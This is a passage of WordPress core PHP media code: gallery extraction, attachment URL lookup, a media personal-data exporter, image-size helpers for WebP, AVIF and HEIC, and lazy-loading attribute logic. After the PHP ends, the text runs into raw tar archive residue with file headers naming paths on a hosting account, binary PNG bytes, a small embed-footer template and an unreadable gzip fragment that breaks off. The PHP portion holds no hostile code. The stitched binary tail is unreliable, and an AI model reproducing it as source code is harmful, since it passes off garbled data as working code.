				$block_html  = wp_list_pluck( $block['innerBlocks'], 'innerHTML' );
				$galleries[] = '<figure>' . implode( ' ', $block_html ) . '</figure>';
				continue;
			}

			$srcs = array();

			// New Gallery block format as an array.
			if ( $has_inner_blocks ) {
				$attrs = wp_list_pluck( $block['innerBlocks'], 'attrs' );
				$ids   = wp_list_pluck( $attrs, 'id' );

				foreach ( $ids as $id ) {
					$url = wp_get_attachment_url( $id );

					if ( is_string( $url ) && ! in_array( $url, $srcs, true ) ) {
						$srcs[] = $url;
					}
				}

				$galleries[] = array(
					'ids' => implode( ',', $ids ),
					'src' => $srcs,
				);

				continue;
			}

			// Old Gallery block format as HTML.
			if ( $html ) {
				$galleries[] = $block['innerHTML'];
				continue;
			}

			// Old Gallery block format as an array.
			$ids = ! empty( $block['attrs']['ids'] ) ? $block['attrs']['ids'] : array();

			// If present, use the image IDs from the JSON blob as canonical.
			if ( ! empty( $ids ) ) {
				foreach ( $ids as $id ) {
					$url = wp_get_attachment_url( $id );

					if ( is_string( $url ) && ! in_array( $url, $srcs, true ) ) {
						$srcs[] = $url;
					}
				}

				$galleries[] = array(
					'ids' => implode( ',', $ids ),
					'src' => $srcs,
				);

				continue;
			}

			// Otherwise, extract srcs from the innerHTML.
			preg_match_all( '#src=([\'"])(.+?)\1#is', $block['innerHTML'], $found_srcs, PREG_SET_ORDER );

			if ( ! empty( $found_srcs[0] ) ) {
				foreach ( $found_srcs as $src ) {
					if ( isset( $src[2] ) && ! in_array( $src[2], $srcs, true ) ) {
						$srcs[] = $src[2];
					}
				}
			}

			$galleries[] = array( 'src' => $srcs );
		}
	}

	/**
	 * Filters the list of all found galleries in the given post.
	 *
	 * @since 3.6.0
	 *
	 * @param array   $galleries Associative array of all found post galleries.
	 * @param WP_Post $post      Post object.
	 */
	return apply_filters( 'get_post_galleries', $galleries, $post );
}

/**
 * Checks a specified post's content for gallery and, if present, return the first
 *
 * @since 3.6.0
 *
 * @param int|WP_Post $post Optional. Post ID or WP_Post object. Default is global $post.
 * @param bool        $html Optional. Whether to return HTML or data. Default is true.
 * @return string|array Gallery data and srcs parsed from the expanded shortcode.
 */
function get_post_gallery( $post = 0, $html = true ) {
	$galleries = get_post_galleries( $post, $html );
	$gallery   = reset( $galleries );

	/**
	 * Filters the first-found post gallery.
	 *
	 * @since 3.6.0
	 *
	 * @param array       $gallery   The first-found post gallery.
	 * @param int|WP_Post $post      Post ID or object.
	 * @param array       $galleries Associative array of all found post galleries.
	 */
	return apply_filters( 'get_post_gallery', $gallery, $post, $galleries );
}

/**
 * Retrieves the image srcs from galleries from a post's content, if present.
 *
 * @since 3.6.0
 *
 * @see get_post_galleries()
 *
 * @param int|WP_Post $post Optional. Post ID or WP_Post object. Default is global `$post`.
 * @return array A list of lists, each containing image srcs parsed.
 *               from an expanded shortcode
 */
function get_post_galleries_images( $post = 0 ) {
	$galleries = get_post_galleries( $post, false );
	return wp_list_pluck( $galleries, 'src' );
}

/**
 * Checks a post's content for galleries and return the image srcs for the first found gallery.
 *
 * @since 3.6.0
 *
 * @see get_post_gallery()
 *
 * @param int|WP_Post $post Optional. Post ID or WP_Post object. Default is global `$post`.
 * @return string[] A list of a gallery's image srcs in order.
 */
function get_post_gallery_images( $post = 0 ) {
	$gallery = get_post_gallery( $post, false );
	return empty( $gallery['src'] ) ? array() : $gallery['src'];
}

/**
 * Maybe attempts to generate attachment metadata, if missing.
 *
 * @since 3.9.0
 *
 * @param WP_Post $attachment Attachment object.
 */
function wp_maybe_generate_attachment_metadata( $attachment ) {
	if ( empty( $attachment ) || empty( $attachment->ID ) ) {
		return;
	}

	$attachment_id = (int) $attachment->ID;
	$file          = get_attached_file( $attachment_id );
	$meta          = wp_get_attachment_metadata( $attachment_id );

	if ( empty( $meta ) && file_exists( $file ) ) {
		$_meta = get_post_meta( $attachment_id );
		$_lock = 'wp_generating_att_' . $attachment_id;

		if ( ! array_key_exists( '_wp_attachment_metadata', $_meta ) && ! get_transient( $_lock ) ) {
			set_transient( $_lock, $file );
			wp_update_attachment_metadata( $attachment_id, wp_generate_attachment_metadata( $attachment_id, $file ) );
			delete_transient( $_lock );
		}
	}
}

/**
 * Tries to convert an attachment URL into a post ID.
 *
 * @since 4.0.0
 *
 * @global wpdb $wpdb WordPress database abstraction object.
 *
 * @param string $url The URL to resolve.
 * @return int The found post ID, or 0 on failure.
 */
function attachment_url_to_postid( $url ) {
	global $wpdb;

	/**
	 * Filters the attachment ID to allow short-circuit the function.
	 *
	 * Allows plugins to short-circuit attachment ID lookups. Plugins making
	 * use of this function should return:
	 *
	 * - 0 (integer) to indicate the attachment is not found,
	 * - attachment ID (integer) to indicate the attachment ID found,
	 * - null to indicate WordPress should proceed with the lookup.
	 *
	 * Warning: The post ID may be null or zero, both of which cast to a
	 * boolean false. For information about casting to booleans see the
	 * {@link https://www.php.net/manual/en/language.types.boolean.php PHP documentation}.
	 * Use the === operator for testing the post ID when developing filters using
	 * this hook.
	 *
	 * @since 6.7.0
	 *
	 * @param int|null $post_id The result of the post ID lookup. Null to indicate
	 *                          no lookup has been attempted. Default null.
	 * @param string   $url     The URL being looked up.
	 */
	$post_id = apply_filters( 'pre_attachment_url_to_postid', null, $url );
	if ( null !== $post_id ) {
		return (int) $post_id;
	}

	$dir  = wp_get_upload_dir();
	$path = $url;

	$site_url   = parse_url( $dir['url'] );
	$image_path = parse_url( $path );

	// Force the protocols to match if needed.
	if ( isset( $image_path['scheme'] ) && ( $image_path['scheme'] !== $site_url['scheme'] ) ) {
		$path = str_replace( $image_path['scheme'], $site_url['scheme'], $path );
	}

	if ( str_starts_with( $path, $dir['baseurl'] . '/' ) ) {
		$path = substr( $path, strlen( $dir['baseurl'] . '/' ) );
	}

	$sql = $wpdb->prepare(
		"SELECT post_id, meta_value FROM $wpdb->postmeta WHERE meta_key = '_wp_attached_file' AND meta_value = %s",
		$path
	);

	$results = $wpdb->get_results( $sql );
	$post_id = null;

	if ( $results ) {
		// Use the first available result, but prefer a case-sensitive match, if exists.
		$post_id = reset( $results )->post_id;

		if ( count( $results ) > 1 ) {
			foreach ( $results as $result ) {
				if ( $path === $result->meta_value ) {
					$post_id = $result->post_id;
					break;
				}
			}
		}
	}

	/**
	 * Filters an attachment ID found by URL.
	 *
	 * @since 4.2.0
	 *
	 * @param int|null $post_id The post_id (if any) found by the function.
	 * @param string   $url     The URL being looked up.
	 */
	return (int) apply_filters( 'attachment_url_to_postid', $post_id, $url );
}

/**
 * Returns the URLs for CSS files used in an iframe-sandbox'd TinyMCE media view.
 *
 * @since 4.0.0
 *
 * @return string[] The relevant CSS file URLs.
 */
function wpview_media_sandbox_styles() {
	$version        = 'ver=' . get_bloginfo( 'version' );
	$mediaelement   = includes_url( "js/mediaelement/mediaelementplayer-legacy.min.css?$version" );
	$wpmediaelement = includes_url( "js/mediaelement/wp-mediaelement.css?$version" );

	return array( $mediaelement, $wpmediaelement );
}

/**
 * Registers the personal data exporter for media.
 *
 * @param array[] $exporters An array of personal data exporters, keyed by their ID.
 * @return array[] Updated array of personal data exporters.
 */
function wp_register_media_personal_data_exporter( $exporters ) {
	$exporters['wordpress-media'] = array(
		'exporter_friendly_name' => __( 'WordPress Media' ),
		'callback'               => 'wp_media_personal_data_exporter',
	);

	return $exporters;
}

/**
 * Finds and exports attachments associated with an email address.
 *
 * @since 4.9.6
 *
 * @param string $email_address The attachment owner email address.
 * @param int    $page          Attachment page number.
 * @return array {
 *     An array of personal data.
 *
 *     @type array[] $data An array of personal data arrays.
 *     @type bool    $done Whether the exporter is finished.
 * }
 */
function wp_media_personal_data_exporter( $email_address, $page = 1 ) {
	// Limit us to 50 attachments at a time to avoid timing out.
	$number = 50;
	$page   = (int) $page;

	$data_to_export = array();

	$user = get_user_by( 'email', $email_address );
	if ( false === $user ) {
		return array(
			'data' => $data_to_export,
			'done' => true,
		);
	}

	$post_query = new WP_Query(
		array(
			'author'         => $user->ID,
			'posts_per_page' => $number,
			'paged'          => $page,
			'post_type'      => 'attachment',
			'post_status'    => 'any',
			'orderby'        => 'ID',
			'order'          => 'ASC',
		)
	);

	foreach ( (array) $post_query->posts as $post ) {
		$attachment_url = wp_get_attachment_url( $post->ID );

		if ( $attachment_url ) {
			$post_data_to_export = array(
				array(
					'name'  => __( 'URL' ),
					'value' => $attachment_url,
				),
			);

			$data_to_export[] = array(
				'group_id'          => 'media',
				'group_label'       => __( 'Media' ),
				'group_description' => __( 'User&#8217;s media data.' ),
				'item_id'           => "post-{$post->ID}",
				'data'              => $post_data_to_export,
			);
		}
	}

	$done = $post_query->max_num_pages <= $page;

	return array(
		'data' => $data_to_export,
		'done' => $done,
	);
}

/**
 * Adds additional default image sub-sizes.
 *
 * These sizes are meant to enhance the way WordPress displays images on the front-end on larger,
 * high-density devices. They make it possible to generate more suitable `srcset` and `sizes` attributes
 * when the users upload large images.
 *
 * The sizes can be changed or removed by themes and plugins but that is not recommended.
 * The size "names" reflect the image dimensions, so changing the sizes would be quite misleading.
 *
 * @since 5.3.0
 * @access private
 */
function _wp_add_additional_image_sizes() {
	// 2x medium_large size.
	add_image_size( '1536x1536', 1536, 1536 );
	// 2x large size.
	add_image_size( '2048x2048', 2048, 2048 );
}

/**
 * Callback to enable showing of the user error when uploading .heic images.
 *
 * @since 5.5.0
 * @since 6.7.0 The default behavior is to enable heic uploads as long as the server
 *              supports the format. The uploads are converted to JPEG's by default.
 *
 * @param array[] $plupload_settings The settings for Plupload.js.
 * @return array[] Modified settings for Plupload.js.
 */
function wp_show_heic_upload_error( $plupload_settings ) {
	// Check if HEIC images can be edited.
	if ( ! wp_image_editor_supports( array( 'mime_type' => 'image/heic' ) ) ) {
		$plupload_init['heic_upload_error'] = true;
	}
	return $plupload_settings;
}

/**
 * Allows PHP's getimagesize() to be debuggable when necessary.
 *
 * @since 5.7.0
 * @since 5.8.0 Added support for WebP images.
 * @since 6.5.0 Added support for AVIF images.
 *
 * @param string $filename   The file path.
 * @param array  $image_info Optional. Extended image information (passed by reference).
 * @return array|false Array of image information or false on failure.
 */
function wp_getimagesize( $filename, ?array &$image_info = null ) {
	// Don't silence errors when in debug mode, unless running unit tests.
	if ( defined( 'WP_DEBUG' ) && WP_DEBUG && ! defined( 'WP_RUN_CORE_TESTS' ) ) {
		if ( 2 === func_num_args() ) {
			$info = getimagesize( $filename, $image_info );
		} else {
			$info = getimagesize( $filename );
		}
	} else {
		/*
		 * Silencing notice and warning is intentional.
		 *
		 * getimagesize() has a tendency to generate errors, such as
		 * "corrupt JPEG data: 7191 extraneous bytes before marker",
		 * even when it's able to provide image size information.
		 *
		 * See https://core.trac.wordpress.org/ticket/42480
		 */
		if ( 2 === func_num_args() ) {
			$info = @getimagesize( $filename, $image_info );
		} else {
			$info = @getimagesize( $filename );
		}
	}

	if (
		! empty( $info ) &&
		// Some PHP versions return 0x0 sizes from `getimagesize` for unrecognized image formats, including AVIFs.
		! ( empty( $info[0] ) && empty( $info[1] ) )
	) {
		return $info;
	}

	$image_mime_type = wp_get_image_mime( $filename );

	// Not an image?
	if ( false === $image_mime_type ) {
		return false;
	}

	/*
	 * For PHP versions that don't support WebP images,
	 * extract the image size info from the file headers.
	 */
	if ( 'image/webp' === $image_mime_type ) {
		$webp_info = wp_get_webp_info( $filename );
		$width     = $webp_info['width'];
		$height    = $webp_info['height'];

		// Mimic the native return format.
		if ( $width && $height ) {
			return array(
				$width,
				$height,
				IMAGETYPE_WEBP,
				sprintf(
					'width="%d" height="%d"',
					$width,
					$height
				),
				'mime' => 'image/webp',
			);
		}
	}

	// For PHP versions that don't support AVIF images, extract the image size info from the file headers.
	if ( 'image/avif' === $image_mime_type ) {
		$avif_info = wp_get_avif_info( $filename );

		$width  = $avif_info['width'];
		$height = $avif_info['height'];

		// Mimic the native return format.
		if ( $width && $height ) {
			return array(
				$width,
				$height,
				IMAGETYPE_AVIF,
				sprintf(
					'width="%d" height="%d"',
					$width,
					$height
				),
				'mime' => 'image/avif',
			);
		}
	}

	// For PHP versions that don't support HEIC images, extract the size info using Imagick when available.
	if ( wp_is_heic_image_mime_type( $image_mime_type ) ) {
		$editor = wp_get_image_editor( $filename );

		if ( is_wp_error( $editor ) ) {
			return false;
		}

		// If the editor for HEICs is Imagick, use it to get the image size.
		if ( $editor instanceof WP_Image_Editor_Imagick ) {
			$size = $editor->get_size();
			return array(
				$size['width'],
				$size['height'],
				IMAGETYPE_HEIC,
				sprintf(
					'width="%d" height="%d"',
					$size['width'],
					$size['height']
				),
				'mime' => 'image/heic',
			);
		}
	}

	// The image could not be parsed.
	return false;
}

/**
 * Extracts meta information about an AVIF file: width, height, bit depth, and number of channels.
 *
 * @since 6.5.0
 *
 * @param string $filename Path to an AVIF file.
 * @return array {
 *     An array of AVIF image information.
 *
 *     @type int|false $width        Image width on success, false on failure.
 *     @type int|false $height       Image height on success, false on failure.
 *     @type int|false $bit_depth    Image bit depth on success, false on failure.
 *     @type int|false $num_channels Image number of channels on success, false on failure.
 * }
 */
function wp_get_avif_info( $filename ) {
	$results = array(
		'width'        => false,
		'height'       => false,
		'bit_depth'    => false,
		'num_channels' => false,
	);

	if ( 'image/avif' !== wp_get_image_mime( $filename ) ) {
		return $results;
	}

	// Parse the file using libavifinfo's PHP implementation.
	require_once ABSPATH . WPINC . '/class-avif-info.php';

	$handle = fopen( $filename, 'rb' );
	if ( $handle ) {
		$parser  = new Avifinfo\Parser( $handle );
		$success = $parser->parse_ftyp() && $parser->parse_file();
		fclose( $handle );
		if ( $success ) {
			$results = $parser->features->primary_item_features;
		}
	}
	return $results;
}

/**
 * Extracts meta information about a WebP file: width, height, and type.
 *
 * @since 5.8.0
 *
 * @param string $filename Path to a WebP file.
 * @return array {
 *     An array of WebP image information.
 *
 *     @type int|false    $width  Image width on success, false on failure.
 *     @type int|false    $height Image height on success, false on failure.
 *     @type string|false $type   The WebP type: one of 'lossy', 'lossless' or 'animated-alpha'.
 *                                False on failure.
 * }
 */
function wp_get_webp_info( $filename ) {
	$width  = false;
	$height = false;
	$type   = false;

	if ( 'image/webp' !== wp_get_image_mime( $filename ) ) {
		return compact( 'width', 'height', 'type' );
	}

	$magic = file_get_contents( $filename, false, null, 0, 40 );

	if ( false === $magic ) {
		return compact( 'width', 'height', 'type' );
	}

	// Make sure we got enough bytes.
	if ( strlen( $magic ) < 40 ) {
		return compact( 'width', 'height', 'type' );
	}

	/*
	 * The headers are a little different for each of the three formats.
	 * Header values based on WebP docs, see https://developers.google.com/speed/webp/docs/riff_container.
	 */
	switch ( substr( $magic, 12, 4 ) ) {
		// Lossy WebP.
		case 'VP8 ':
			$parts  = unpack( 'v2', substr( $magic, 26, 4 ) );
			$width  = (int) ( $parts[1] & 0x3FFF );
			$height = (int) ( $parts[2] & 0x3FFF );
			$type   = 'lossy';
			break;
		// Lossless WebP.
		case 'VP8L':
			$parts  = unpack( 'C4', substr( $magic, 21, 4 ) );
			$width  = (int) ( $parts[1] | ( ( $parts[2] & 0x3F ) << 8 ) ) + 1;
			$height = (int) ( ( ( $parts[2] & 0xC0 ) >> 6 ) | ( $parts[3] << 2 ) | ( ( $parts[4] & 0x03 ) << 10 ) ) + 1;
			$type   = 'lossless';
			break;
		// Animated/alpha WebP.
		case 'VP8X':
			// Pad 24-bit int.
			$width = unpack( 'V', substr( $magic, 24, 3 ) . "\x00" );
			$width = (int) ( $width[1] & 0xFFFFFF ) + 1;
			// Pad 24-bit int.
			$height = unpack( 'V', substr( $magic, 27, 3 ) . "\x00" );
			$height = (int) ( $height[1] & 0xFFFFFF ) + 1;
			$type   = 'animated-alpha';
			break;
	}

	return compact( 'width', 'height', 'type' );
}

/**
 * Gets loading optimization attributes.
 *
 * This function returns an array of attributes that should be merged into the given attributes array to optimize
 * loading performance. Potential attributes returned by this function are:
 * - `loading` attribute with a value of "lazy"
 * - `fetchpriority` attribute with a value of "high"
 * - `decoding` attribute with a value of "async"
 *
 * If any of these attributes are already present in the given attributes, they will not be modified. Note that no
 * element should have both `loading="lazy"` and `fetchpriority="high"`, so the function will trigger a warning in case
 * both attributes are present with those values.
 *
 * @since 6.3.0
 *
 * @global WP_Query $wp_query WordPress Query object.
 *
 * @param string $tag_name The tag name.
 * @param array  $attr     Array of the attributes for the tag.
 * @param string $context  Context for the element for which the loading optimization attribute is requested.
 * @return array Loading optimization attributes.
 */
function wp_get_loading_optimization_attributes( $tag_name, $attr, $context ) {
	global $wp_query;

	/**
	 * Filters whether to short-circuit loading optimization attributes.
	 *
	 * Returning an array from the filter will effectively short-circuit the loading of optimization attributes,
	 * returning that value instead.
	 *
	 * @since 6.4.0
	 *
	 * @param array|false $loading_attrs False by default, or array of loading optimization attributes to short-circuit.
	 * @param string      $tag_name      The tag name.
	 * @param array       $attr          Array of the attributes for the tag.
	 * @param string      $context       Context for the element for which the loading optimization attribute is requested.
	 */
	$loading_attrs = apply_filters( 'pre_wp_get_loading_optimization_attributes', false, $tag_name, $attr, $context );

	if ( is_array( $loading_attrs ) ) {
		return $loading_attrs;
	}

	$loading_attrs = array();

	/*
	 * Skip lazy-loading for the overall block template, as it is handled more granularly.
	 * The skip is also applicable for `fetchpriority`.
	 */
	if ( 'template' === $context ) {
		/** This filter is documented in wp-includes/media.php */
		return apply_filters( 'wp_get_loading_optimization_attributes', $loading_attrs, $tag_name, $attr, $context );
	}

	// For now this function only supports images and iframes.
	if ( 'img' !== $tag_name && 'iframe' !== $tag_name ) {
		/** This filter is documented in wp-includes/media.php */
		return apply_filters( 'wp_get_loading_optimization_attributes', $loading_attrs, $tag_name, $attr, $context );
	}

	/*
	 * Skip programmatically created images within content blobs as they need to be handled together with the other
	 * images within the post content or widget content.
	 * Without this clause, they would already be considered within their own context which skews the image count and
	 * can result in the first post content image being lazy-loaded or an image further down the page being marked as a
	 * high priority.
	 */
	if (
		'the_content' !== $context && doing_filter( 'the_content' ) ||
		'widget_text_content' !== $context && doing_filter( 'widget_text_content' ) ||
		'widget_block_content' !== $context && doing_filter( 'widget_block_content' )
	) {
		/** This filter is documented in wp-includes/media.php */
		return apply_filters( 'wp_get_loading_optimization_attributes', $loading_attrs, $tag_name, $attr, $context );

	}

	/*
	 * Add `decoding` with a value of "async" for every image unless it has a
	 * conflicting `decoding` attribute already present.
	 */
	if ( 'img' === $tag_name ) {
		if ( isset( $attr['decoding'] ) ) {
			$loading_attrs['decoding'] = $attr['decoding'];
		} else {
			$loading_attrs['decoding'] = 'async';
		}
	}

	// For any resources, width and height must be provided, to avoid layout shifts.
	if ( ! isset( $attr['width'], $attr['height'] ) ) {
		/** This filter is documented in wp-includes/media.php */
		return apply_filters( 'wp_get_loading_optimization_attributes', $loading_attrs, $tag_name, $attr, $context );
	}

	/*
	 * The key function logic starts here.
	 */
	$maybe_in_viewport    = null;
	$increase_count       = false;
	$maybe_increase_count = false;

	// Logic to handle a `loading` attribute that is already provided.
	if ( isset( $attr['loading'] ) ) {
		/*
		 * Interpret "lazy" as not in viewport. Any other value can be
		 * interpreted as in viewport (realistically only "eager" or `false`
		 * to force-omit the attribute are other potential values).
		 */
		if ( 'lazy' === $attr['loading'] ) {
			$maybe_in_viewport = false;
		} else {
			$maybe_in_viewport = true;
		}
	}

	// Logic to handle a `fetchpriority` attribute that is already provided.
	if ( isset( $attr['fetchpriority'] ) && 'high' === $attr['fetchpriority'] ) {
		/*
		 * If the image was already determined to not be in the viewport (e.g.
		 * from an already provided `loading` attribute), trigger a warning.
		 * Otherwise, the value can be interpreted as in viewport, since only
		 * the most important in-viewport image should have `fetchpriority` set
		 * to "high".
		 */
		if ( false === $maybe_in_viewport ) {
			_doing_it_wrong(
				__FUNCTION__,
				__( 'An image should not be lazy-loaded and marked as high priority at the same time.' ),
				'6.3.0'
			);
			/*
			 * Set `fetchpriority` here for backward-compatibility as we should
			 * not override what a developer decided, even though it seems
			 * incorrect.
			 */
			$loading_attrs['fetchpriority'] = 'high';
		} else {
			$maybe_in_viewport = true;
		}
	}

	if ( null === $maybe_in_viewport ) {
		$header_enforced_contexts = array(
			'template_part_' . WP_TEMPLATE_PART_AREA_HEADER => true,
			'get_header_image_tag' => true,
		);

		/**
		 * Filters the header-specific contexts.
		 *
		 * @since 6.4.0
		 *
		 * @param array $default_header_enforced_contexts Map of contexts for which elements should be considered
		 *                                                in the header of the page, as $context => $enabled
		 *                                                pairs. The $enabled should always be true.
		 */
		$header_enforced_contexts = apply_filters( 'wp_loading_optimization_force_header_contexts', $header_enforced_contexts );

		// Consider elements with these header-specific contexts to be in viewport.
		if ( isset( $header_enforced_contexts[ $context ] ) ) {
			$maybe_in_viewport    = true;
			$maybe_increase_count = true;
		} elseif ( ! is_admin() && in_the_loop() && is_main_query() ) {
			/*
			 * Get the content media count, since this is a main query
			 * content element. This is accomplished by "increasing"
			 * the count by zero, as the only way to get the count is
			 * to call this function.
			 * The actual count increase happens further below, based
			 * on the `$increase_count` flag set here.
			 */
			$content_media_count = wp_increase_content_media_count( 0 );
			$increase_count      = true;

			// If the count so far is below the threshold, `loading` attribute is omitted.
			if ( $content_media_count < wp_omit_loading_attr_threshold() ) {
				$maybe_in_viewport = true;
			} else {
				$maybe_in_viewport = false;
			}
		} elseif (
			// Only apply for main query but before the loop.
			$wp_query->before_loop && $wp_query->is_main_query()
			/*
			 * Any image before the loop, but after the header has started should not be lazy-loaded,
			 * except when the footer has already started which can happen when the current template
			 * does not include any loop.
			 */
			&& did_action( 'get_header' ) && ! did_action( 'get_footer' )
			) {
			$maybe_in_viewport    = true;
			$maybe_increase_count = true;
		}
	}

	/*
	 * If the element is in the viewport (`true`), potentially add
	 * `fetchpriority` with a value of "high". Otherwise, i.e. if the element
	 * is not not in the viewport (`false`) or it is unknown (`null`), add
	 * `loading` with a value of "lazy".
	 */
	if ( $maybe_in_viewport ) {
		$loading_attrs = wp_maybe_add_fetchpriority_high_attr( $loading_attrs, $tag_name, $attr );
	} else {
		// Only add `loading="lazy"` if the feature is enabled.
		if ( wp_lazy_loading_enabled( $tag_name, $context ) ) {
			$loading_attrs['loading'] = 'lazy';
		}
	}

	/*
	 * If flag was set based on contextual logic above, increase the content
	 * media count, either unconditionally, or based on whether the image size
	 * is larger than the threshold.
	 */
	if ( $increase_count ) {
		wp_increase_content_media_count();
	} elseif ( $maybe_increase_count ) {
		/** This filter is documented in wp-includes/media.php */
		$wp_min_priority_img_pixels = apply_filters( 'wp_min_priority_img_pixels', 50000 );

		if ( $wp_min_priority_img_pixels <= $attr['width'] * $attr['height'] ) {
			wp_increase_content_media_count();
		}
	}

	/**
	 * Filters the loading optimization attributes.
	 *
	 * @since 6.4.0
	 *
	 * @param array  $loading_attrs The loading optimization attributes.
	 * @param string $tag_name      The tag name.
	 * @param array  $attr          Array of the attributes for the tag.
	 * @param string $context       Context for the element for which the loading optimization attribute is requested.
	 */
	return apply_filters( 'wp_get_loading_optimization_attributes', $loading_attrs, $tag_name, $attr, $context );
}

/**
 * Gets the threshold for how many of the first content media elements to not lazy-load.
 *
 * This function runs the {@see 'wp_omit_loading_attr_threshold'} filter, which uses a default threshold value of 3.
 * The filter is only run once per page load, unless the `$force` parameter is used.
 *
 * @since 5.9.0
 *
 * @param bool $force Optional. If set to true, the filter will be (re-)applied even if it already has been before.
 *                    Default false.
 * @return int The number of content media elements to not lazy-load.
 */
function wp_omit_loading_attr_threshold( $force = false ) {
	static $omit_threshold;

	// This function may be called multiple times. Run the filter only once per page load.
	if ( ! isset( $omit_threshold ) || $force ) {
		/**
		 * Filters the threshold for how many of the first content media elements to not lazy-load.
		 *
		 * For these first content media elements, the `loading` attribute will be omitted. By default, this is the case
		 * for only the very first content media element.
		 *
		 * @since 5.9.0
		 * @since 6.3.0 The default threshold was changed from 1 to 3.
		 *
		 * @param int $omit_threshold The number of media elements where the `loading` attribute will not be added. Default 3.
		 */
		$omit_threshold = apply_filters( 'wp_omit_loading_attr_threshold', 3 );
	}

	return $omit_threshold;
}

/**
 * Increases an internal content media count variable.
 *
 * @since 5.9.0
 * @access private
 *
 * @param int $amount Optional. Amount to increase by. Default 1.
 * @return int The latest content media count, after the increase.
 */
function wp_increase_content_media_count( $amount = 1 ) {
	static $content_media_count = 0;

	$content_media_count += $amount;

	return $content_media_count;
}

/**
 * Determines whether to add `fetchpriority='high'` to loading attributes.
 *
 * @since 6.3.0
 * @access private
 *
 * @param array  $loading_attrs Array of the loading optimization attributes for the element.
 * @param string $tag_name      The tag name.
 * @param array  $attr          Array of the attributes for the element.
 * @return array Updated loading optimization attributes for the element.
 */
function wp_maybe_add_fetchpriority_high_attr( $loading_attrs, $tag_name, $attr ) {
	// For now, adding `fetchpriority="high"` is only supported for images.
	if ( 'img' !== $tag_name ) {
		return $loading_attrs;
	}

	if ( isset( $attr['fetchpriority'] ) ) {
		/*
		 * While any `fetchpriority` value could be set in `$loading_attrs`,
		 * for consistency we only do it for `fetchpriority="high"` since that
		 * is the only possible value that WordPress core would apply on its
		 * own.
		 */
		if ( 'high' === $attr['fetchpriority'] ) {
			$loading_attrs['fetchpriority'] = 'high';
			wp_high_priority_element_flag( false );
		}

		return $loading_attrs;
	}

	// Lazy-loading and `fetchpriority="high"` are mutually exclusive.
	if ( isset( $loading_attrs['loading'] ) && 'lazy' === $loading_attrs['loading'] ) {
		return $loading_attrs;
	}

	if ( ! wp_high_priority_element_flag() ) {
		return $loading_attrs;
	}

	/**
	 * Filters the minimum square-pixels threshold for an image to be eligible as the high-priority image.
	 *
	 * @since 6.3.0
	 *
	 * @param int $threshold Minimum square-pixels threshold. Default 50000.
	 */
	$wp_min_priority_img_pixels = apply_filters( 'wp_min_priority_img_pixels', 50000 );

	if ( $wp_min_priority_img_pixels <= $attr['width'] * $attr['height'] ) {
		$loading_attrs['fetchpriority'] = 'high';
		wp_high_priority_element_flag( false );
	}

	return $loading_attrs;
}

/**
 * Accesses a flag that indicates if an element is a possible candidate for `fetchpriority='high'`.
 *
 * @since 6.3.0
 * @access private
 *
 * @param bool $value Optional. Used to change the static variable. Default null.
 * @return bool Returns true if high-priority element was marked already, otherwise false.
 */
function wp_high_priority_element_flag( $value = null ) {
	static $high_priority_element = true;

	if ( is_bool( $value ) ) {
		$high_priority_element = $value;
	}

	return $high_priority_element;
}

/**
 * Determines the output format for the image editor.
 *
 * @since 6.7.0
 * @access private
 *
 * @param string $filename  Path to the image.
 * @param string $mime_type The source image mime type.
 * @return string[] An array of mime type mappings.
 */
function wp_get_image_editor_output_format( $filename, $mime_type ) {
	$output_format = array(
		'image/heic'          => 'image/jpeg',
		'image/heif'          => 'image/jpeg',
		'image/heic-sequence' => 'image/jpeg',
		'image/heif-sequence' => 'image/jpeg',
	);

	/**
	 * Filters the image editor output format mapping.
	 *
	 * Enables filtering the mime type used to save images. By default HEIC/HEIF images
	 * are converted to JPEGs.
	 *
	 * @see WP_Image_Editor::get_output_format()
	 *
	 * @since 5.8.0
	 * @since 6.7.0 The default was changed from an empty array to an array
	 *              containing the HEIC/HEIF images mime types.
	 *
	 * @param string[] $output_format {
	 *     An array of mime type mappings. Maps a source mime type to a new
	 *     destination mime type. By default maps HEIC/HEIF input to JPEG output.
	 *
	 *     @type string ...$0 The new mime type.
	 * }
	 * @param string $filename  Path to the image.
	 * @param string $mime_type The source image mime type.
	 */
	return apply_filters( 'image_editor_output_format', $output_format, $filename, $mime_type );
}
14338/rss.png.tar000064400000005000151024420100007310 0ustar00home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/images/rss.png000064400000001140151024253330024130 0ustar00�PNG


IHDRH-�'IDAT(�;h]e��Ϲ9��[1�k*����Zi���fM2wꠃ��Ԯ��:7C7AAD��EE�4i��*F�TB�i�ǽ����pm�x�B��]�:���a!�?x�_�ƞ}Ql��qsE+KdY�dQ�J�X���|1m��&H�>���ޯ�+.��T]�V$��}�LC�,J���o1H��}��3���/_C$f E[A����V����~�����>����K�����5uRiu��'������׿�����{�g~��l��׎9���}@9�c�]s��e�LK�[��/����gTE�\���Ɩ��������M��(�u�GN)�u�=/{��0�X7��Pݿ)-{�Ya��l�`��T���f�8�U��~O:������w�#	ۛ��>�=<%�)vw@���X5B���ρtbNl�4ŭ5�䇨�d�H� �扽�/|�ŕ��,F��7�k��ׯ�z��ߝ�w�au�b��&�A�4A]P(��C��}�1T��µY�q��%L�q!�͇�IEND�B`�14338/footer-embed.php.tar000064400000004000151024420100011053 0ustar00home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/theme-compat/footer-embed.php000064400000000666151024302550027025 0ustar00<?php
/**
 * Contains the post embed footer template
 *
 * When a post is embedded in an iframe, this file is used to create the footer output
 * if the active theme does not include a footer-embed.php template.
 *
 * @package WordPress
 * @subpackage Theme_Compat
 * @since 4.5.0
 */

/**
 * Prints scripts or data before the closing body tag in the embed template.
 *
 * @since 4.4.0
 */
do_action( 'embed_footer' );
?>
</body>
</html>
14338/freeform.tar.gz000064400000011727151024420100010157 0ustar00��ys�:����ɧ��T%S�����ٱ��r�ز�l�J�$$ѦH������! ud�y[d�H<�@��
�*���Z�`�Fy��e�q���!��Y���E�&՛�6��T�uQB�bUj��MI��������|*(��>
C¡eO�WCWl`/[Wǂ��n.'*\��>�2�\����<6]�	�P{���Rn\�=c5�H7�E�^�N����(�.�p�e���r�J�l
ڡ�tQr,C�J�Y�U���f�e�t�[�?h��
lKXU�ijÕj�-�Q��Owh��0�X�}h��e"�s8�L�Z�/˙5��џ�\mL�Xw��_��`an�)�U�����:�
-
ך�"�4d;#L�\ך��+�����0�T�YY���U6-r�G`�ׂ�m�<�(����ȕ}�J�5��@�.�\)@}ٖgj��1lA7rI��#Kh8	G��5�=�Ò�o
�}E߸:A�4H�5��rq�:a4��a�b�wu1��\�R�>2��pe�s�8�a��
�
#
�#�ITp͖P�
